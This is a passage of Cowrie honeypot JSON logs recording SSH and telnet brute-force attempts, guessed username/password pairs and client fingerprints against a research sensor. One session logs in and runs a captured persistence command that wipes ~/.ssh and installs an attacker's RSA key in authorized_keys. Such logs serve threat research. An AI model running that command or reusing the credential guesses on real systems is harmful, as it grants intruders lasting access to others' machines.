af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:57.288397Z","src_ip":"103.148.100.146","session":"f87de1507bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":35802,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d6a371621d8","protocol":"telnet","message":"New connection: 188.166.220.49:35802 (159.203.135.109:23) [session: 3d6a371621d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:57.664397Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjk2026","message":"login attempt [root/asdfghjk2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:58.354834Z","src_ip":"103.148.100.146","session":"f87de1507bde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:59.618783Z","src_ip":"103.148.100.146","session":"f87de1507bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":39990,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c319ce61b17","protocol":"telnet","message":"New connection: 188.166.220.49:39990 (159.203.135.109:23) [session: 0c319ce61b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:00.898956Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40066,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a5991b942d","protocol":"telnet","message":"New connection: 188.166.220.49:40066 (159.203.135.109:23) [session: 30a5991b942d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:00.960935Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":53922,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fe7028b1eb4","protocol":"ssh","message":"New connection: 45.78.208.179:53922 (159.203.135.109:22) [session: 3fe7028b1eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:05.661735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:05.667119Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:05.909653Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0000","message":"login attempt [oracle/0000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:06.914992Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:07.470909Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:07.474896Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:07.479597Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":48808,"dst_ip":"159.203.135.109","dst_port":23,"session":"df0968222404","protocol":"telnet","message":"New connection: 188.166.220.49:48808 (159.203.135.109:23) [session: df0968222404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:07.507138Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:07.730323Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:08.274278Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:08.286999Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:08.549733Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:08.555490Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":54248,"dst_ip":"159.203.135.109","dst_port":22,"session":"01126a9c722b","protocol":"ssh","message":"New connection: 45.78.208.179:54248 (159.203.135.109:22) [session: 01126a9c722b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:08.789795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:08.804613Z","src_ip":"45.78.208.179","session":"01126a9c722b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:09.048775Z","src_ip":"45.78.208.179","session":"01126a9c722b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:10.065780Z","src_ip":"45.78.208.179","session":"01126a9c722b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:11.312297Z","src_ip":"45.78.208.179","session":"01126a9c722b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":54256,"dst_ip":"159.203.135.109","dst_port":22,"session":"0264664e95f0","protocol":"ssh","message":"New connection: 45.78.208.179:54256 (159.203.135.109:22) [session: 0264664e95f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:11.538450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:11.544405Z","src_ip":"45.78.208.179","session":"0264664e95f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:11.782403Z","src_ip":"45.78.208.179","session":"0264664e95f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79785752296448,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:11.965143Z","src_ip":"188.166.220.49","session":"873fb61c7ab1","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:12.763226Z","src_ip":"45.78.208.179","session":"0264664e95f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:13.004121Z","src_ip":"45.78.208.179","session":"0264664e95f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:13.010124Z","src_ip":"45.78.208.179","session":"3fe7028b1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.469770431518555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:16.610878Z","src_ip":"188.166.220.49","session":"dc258f30e958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":35866,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a7485b9284","protocol":"telnet","message":"New connection: 188.166.220.49:35866 (159.203.135.109:23) [session: 08a7485b9284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:20.260853Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37840,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c350a68f71","protocol":"telnet","message":"New connection: 188.166.220.49:37840 (159.203.135.109:23) [session: 79c350a68f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:21.733997Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37886,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fa4a05d256","protocol":"telnet","message":"New connection: 188.166.220.49:37886 (159.203.135.109:23) [session: c0fa4a05d256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:21.793649Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":41076,"dst_ip":"159.203.135.109","dst_port":23,"session":"b11fe12a5ac8","protocol":"telnet","message":"New connection: 188.166.220.49:41076 (159.203.135.109:23) [session: b11fe12a5ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:24.170552Z"}
{"eventid":"cowrie.session.closed","duration":35.15021467208862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:27.564702Z","src_ip":"188.166.220.49","session":"ba2f361d0228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00639510154724,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:28.978194Z","src_ip":"188.166.220.49","session":"02ecb1dc7864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10350584983826,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:31.767802Z","src_ip":"188.166.220.49","session":"3d6a371621d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51958,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecd14a59ae43","protocol":"telnet","message":"New connection: 188.166.220.49:51958 (159.203.135.109:23) [session: ecd14a59ae43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:32.028028Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45886,"dst_ip":"159.203.135.109","dst_port":22,"session":"7555bb2d37e7","protocol":"ssh","message":"New connection: 159.203.92.129:45886 (159.203.135.109:22) [session: 7555bb2d37e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:35.022670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:35.027867Z","src_ip":"159.203.92.129","session":"7555bb2d37e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:35.033237Z","src_ip":"159.203.92.129","session":"7555bb2d37e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ora_root123","message":"login attempt [admin/ora_root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:35.050014Z","src_ip":"159.203.92.129","session":"7555bb2d37e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.997336626052856,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:35.896204Z","src_ip":"188.166.220.49","session":"0c319ce61b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:36.057076Z","src_ip":"159.203.92.129","session":"7555bb2d37e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.36998152732849,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:36.330772Z","src_ip":"188.166.220.49","session":"30a5991b942d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":55953,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad5cd811c2f6","protocol":"ssh","message":"New connection: 223.197.186.7:55953 (159.203.135.109:22) [session: ad5cd811c2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:40.668402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:40.675212Z","src_ip":"223.197.186.7","session":"ad5cd811c2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.209622383117676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:40.716632Z","src_ip":"188.166.220.49","session":"df0968222404","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-e